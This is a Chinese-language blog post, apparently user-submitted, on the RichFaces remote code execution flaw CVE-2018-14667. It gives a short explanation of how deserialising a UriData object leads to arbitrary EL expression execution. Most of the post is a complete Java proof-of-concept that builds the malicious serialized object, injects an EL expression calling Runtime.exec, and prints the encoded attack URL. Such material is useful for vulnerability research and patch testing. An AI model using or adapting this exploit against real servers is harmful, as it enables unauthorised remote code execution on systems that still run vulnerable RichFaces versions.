RichFaces CVE-2018-14667

网友投稿 435 2022-10-09


RichFaces CVE-2018-14667

RichFaces CVE-2018-14667

0x00 RichFaces 简述

RichFaces是一个基于LGPL协议开放源代码的JSF(JavaServer Faces)组件库,它能够使应用开发方便地集成AJAX。现在的RichFaces库是由Ajax4jsf和RichFaces两部分组成0x01

0x01 漏洞成因

Java RichFaces框架中包含一个RCE漏洞,恶意***者构造包含org.ajax4jsf.resource.UserResource$UriData序列化对象的特定UserResource请求,RichFaces会先反序列化该UriData对象,然后使用EL表达式解析并获取resource的modified、expires等值导致了任意EL表达式执行,通过构造特殊的EL表达式可实现远程任意代码执行。参考链接中有具体的分析

0x02 payload

弹出计算器(windows)

是否可以执行命令

payload

package richfaces1; import com.sun.facelets.el.TagMethodExpression; import com.sun.facelets.el.TagValueExpression; import com.sun.facelets.tag.Location; import com.sun.facelets.tag.TagAttribute; import org.ajax4jsf.resource.UserResource; import org.ajax4jsf.util.base64.URL64Codec; import org.jboss.el.MethodExpressionImpl; import org.jboss.el.ValueExpressionImpl; import org.jboss.el.parser.*; import org.jboss.seam.core.Expressions; import org.richfaces.ui.application.StateMethodExpressionWrapper; import java.io.ByteArrayOutputStream; import java.io.ObjectOutputStream; import java.io.OutputStream; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.Modifier; import java.util.Date; import java.util.zip.Deflater; import javax.el.MethodExpression; import javax.faces.context.FacesContext; public class Main { public static void main(String[] args) throws Exception{ String pocEL = "#{request.getClass().getClassLoader().loadClass(\"java.lang.Runtime\").getMethod(\"getRuntime\").invoke(null).exec(\" clac \")}"; System.out.println(pocEL); // tomcat8.5.24 MethodExpression serialVersionUID Long MethodExpressionSerialVersionUID = 8163925562047324656L; Class clazz = Class.forName("javax.el.MethodExpression"); // Field field = clazz.getField("serialVersionUID"); // field.setAccessible(true); Field modifiersField = Field.class.getDeclaredField("modifiers"); modifiersField.setAccessible(true); //modifiersField.setInt(field, field.getModifiers() & ~Modifier.FINAL); //field.setLong(null, MethodExpressionSerialVersionUID); // createContent MethodExpressionImpl mei = new MethodExpressionImpl(pocEL, null, null, null, null, new Class[]{OutputStream.class, Object.class}); ValueExpressionImpl vei = new ValueExpressionImpl(pocEL, null, null, null, MethodExpression.class); StateMethodExpressionWrapper smew = new StateMethodExpressionWrapper(mei, vei); Location location = new Location("/richfaces/mediaOutput/examples/jpegSample.xhtml", 0, 0); TagAttribute tagAttribute = new TagAttribute(location, "", "", "@11214", "createContent="+pocEL); TagMethodExpression tagMethodExpression = new TagMethodExpression(tagAttribute, smew); Class cls = Class.forName("javax.faces.component.StateHolderSaver"); Constructor ct = cls.getDeclaredConstructor(FacesContext.class, Object.class); ct.setAccessible(true); Object createContnet = ct.newInstance(null, tagMethodExpression); //value Object value = "haveTest"; //modified TagAttribute tag = new TagAttribute(location, "", "", "just", "modified="+pocEL); ValueExpressionImpl ve = new ValueExpressionImpl(pocEL+" modified", null, null, null, Date.class); TagValueExpression tagValueExpression = new TagValueExpression(tag, ve); Object modified = ct.newInstance(null, tagValueExpression); //expires TagAttribute tag2 = new TagAttribute(location, "", "", "have_fun", "expires="+pocEL); ValueExpressionImpl ve2 = new ValueExpressionImpl(pocEL+" expires", null, null, null, Date.class); TagValueExpression tagValueExpression2 = new TagValueExpression(tag2, ve2); Object expires = ct.newInstance(null, tagValueExpression2); //payload object UserResource.UriData uriData = new UserResource.UriData(); //Constructor con = UserResource.class.getConstructor(new Class[]{}); Field fieldCreateContent = uriData.getClass().getDeclaredField("createContent"); fieldCreateContent.setAccessible(true); fieldCreateContent.set(uriData, createContnet); Field fieldValue = uriData.getClass().getDeclaredField("value"); fieldValue.setAccessible(true); fieldValue.set(uriData, value); Field fieldModefied = uriData.getClass().getDeclaredField("modified"); fieldModefied.setAccessible(true); fieldModefied.set(uriData, modified); Field fieldExpires = uriData.getClass().getDeclaredField("expires"); fieldExpires.setAccessible(true); fieldExpires.set(uriData, expires); //encrypt ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream); objectOutputStream.writeObject(uriData); objectOutputStream.flush(); objectOutputStream.close(); byteArrayOutputStream.close(); byte[] pocData = byteArrayOutputStream.toByteArray(); Deflater compressor = new Deflater(1); byte[] compressed = new byte[pocData.length + 100]; compressor.setInput(pocData); compressor.finish(); int totalOut = compressor.deflate(compressed); byte[] zipsrc = new byte[totalOut]; System.arraycopy(compressed, 0, zipsrc, 0, totalOut); compressor.end(); byte[] dataArray = URL64Codec.encodeBase64(zipsrc); String poc = "/DATA/" + new String(dataArray, "ISO-8859-1") + ".jsf"; System.out.println(poc); } }

参考链接https://×××w.youtube.com/watch?v=HR7-nL5G91whttps://xz.aliyun.com/t/3264#toc-1


版权声明:本文内容由网络用户投稿,版权归原作者所有,本站不拥有其著作权,亦不承担相应法律责任。如果您发现本站中有涉嫌抄袭或描述失实的内容,请联系我们jiasou666@gmail.com 处理,核实后本网站将在24小时内删除侵权内容。

上一篇:SANS:2018年度事件响应调查报告
下一篇:如何通过zuul添加或修改请求参数
相关文章

 发表评论

暂时没有评论,来抢沙发吧~